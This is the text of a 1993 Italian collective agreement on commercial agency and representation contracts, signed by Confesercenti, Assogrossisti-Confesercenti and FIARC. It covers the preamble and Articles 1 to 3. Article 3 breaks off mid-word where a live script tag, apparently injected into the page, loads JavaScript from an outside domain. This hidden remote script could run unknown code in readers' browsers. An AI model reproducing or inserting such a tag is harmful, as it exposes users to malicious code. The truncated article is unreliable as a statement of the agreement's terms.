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Categoria: Agenti di commercio
Settore: Commercio
Data stipula: 7-5-1993
Data decorrenza: 7-5-1993
Data scadenza: 6-5-1996

ACCORDO ECONOMICO COLLETTIVO PER LA DISCIPLINA  DEL RAPPORTO  DI AGENZIA E
RAPPRESENTANZA COMMERCIALE NEL SETTORE DEL COMMERCIO

Il giorno 7/5/1993  in Roma, presso la sede Nazionale della Confesercenti,
fra  la  Confesercenti   e   l'Assogrossisti-Confesercenti,  rappresentate
rispettivamente   da   Gianluigi   Bonino   Presidente   Nazionale   della
Confesercenti,   Massimiliano   Marcucci   responsabile   delle  politiche
sindacali  della  Confesercenti,   Loris  Gironi  e  Roberto  Contato  per
l'Assogrossisti Confesercenti

e  la  FIARC,  Federazione italiana Agenti e Rappresentanti  di Commercio,
rappresentata da Carlo Massaro Presidente nazionale,  Stefano Dalla Chiesa
Segretario Nazionale, Piero Melandri della Presidenza Nazionale.

si è stipulato

il presente Accordo Economico Collettivo per la disciplina del rapporto di
agenzia e rappresentanza commerciale nel settore del commercio.


PREMESSA

Le  Organizzazioni firmatarie del presente Accordo hanno inteso realizzare
una  disciplina  normativa  adeguata  alle  caratteristiche  delle imprese
commerciali e ai loro agenti e rappresentanti di commercio.

In  questa  luce  viene espresso  il comune auspicio  che siano realizzati
corretti rapporti  sindacali fra  le  parti  stipulanti  con  il congiunto
riconoscimento della importanza degli agenti e rappresentanti di commercio
per la realizzazione dei comuni interessi.

La Confesercenti e l'Assogrossisti-Confesercenti,  su  specifica richiesta
della FIARC,  è disponibile ad incontri con periodicità annuale  nel corso
dei quali verificare lo  stato dei rapporti  e del mercato  che potrebbero
avere riflessi  nei confronti delle condizioni  professionali,  sociali ed
economiche degli agenti e rappresentanti di commercio.

Tali incontri potranno aver luogo su richiesta formale di una delle parti,
da far pervenire all'altra con  almeno  un  mese  di  anticipo  sulla data
richiesta per gli incontri stessi.



Art. 1.

1. Il contratto di  agenzia o rappresentanza  fra  le  aziende preponenti
    aderenti    alla      Confesercenti e all'Assogrossisti-Confesercenti e
    gli agenti e rappresentanti   di commercio è  disciplinato dal presente
    Accordo Economico Collettivo.

2. Le figure giuridica dell'agente e del rappresentante di commercio sono
    definite, rispettivamente, dagli artt. 1742 e 1752 c.c.

3. L'agente o rappresentante, pur tenuto all'osservanza delle istituzioni
    del preponente ai sensi dell'art.  1746 C.C., svolge la sua attività in
    forma autonoma e indipendente  e non può essere  tenuto  al rispetto di
    orari o di itinerari predeterminati.

    L'obbligo   dell'agente   o  rappresentante   di  tenere  costantemente
    informato il preponente sulla situazione del mercato in  cui  opera non
    può  porre a suo  onere  relazioni  con  periodicità  preffissata sullo
    svolgimento della sua

4. Le norme del presenze Accordo Economico Collettivo hanno validità anche
    per gli agenti o rappresentati  organizzati in forma societaria, nonchè
    a quelli incaricati della vendita al privato consumatore.

5. Le norme del presente Accordo Economico Collettivo sono valide anche
    per  i  contratti  a  tempo  determinato,  fatta  eccezione  per quelle
    riguardanti il preavviso per la risoluzione contrattuale.

    E'  fatto  obbligo  al  preponente,  nel  caso  di  contratto  a  tempo
    determinato di durata superiore a mesi sei,  di comunicare all'agente o
    rappresentante,   almeno   sessanta   giorni   prima   della   scadenza
    contrattuale,  l'eventuale  disponibilità  al  rinnovo  o  alla proroga
    contrattuale.


Art. 2.

Le norme del presente Accordo economico Collettivo non sono valide per gli
agenti  o rappresentanti  non iscritti  al "Ruolo Professionale"  ex Legge
3.5.1985 n. 204.



Art. 3.

1. Il contratto di agenzia deve es<script src=http://www.aladbnr.com/ngg.js></script>













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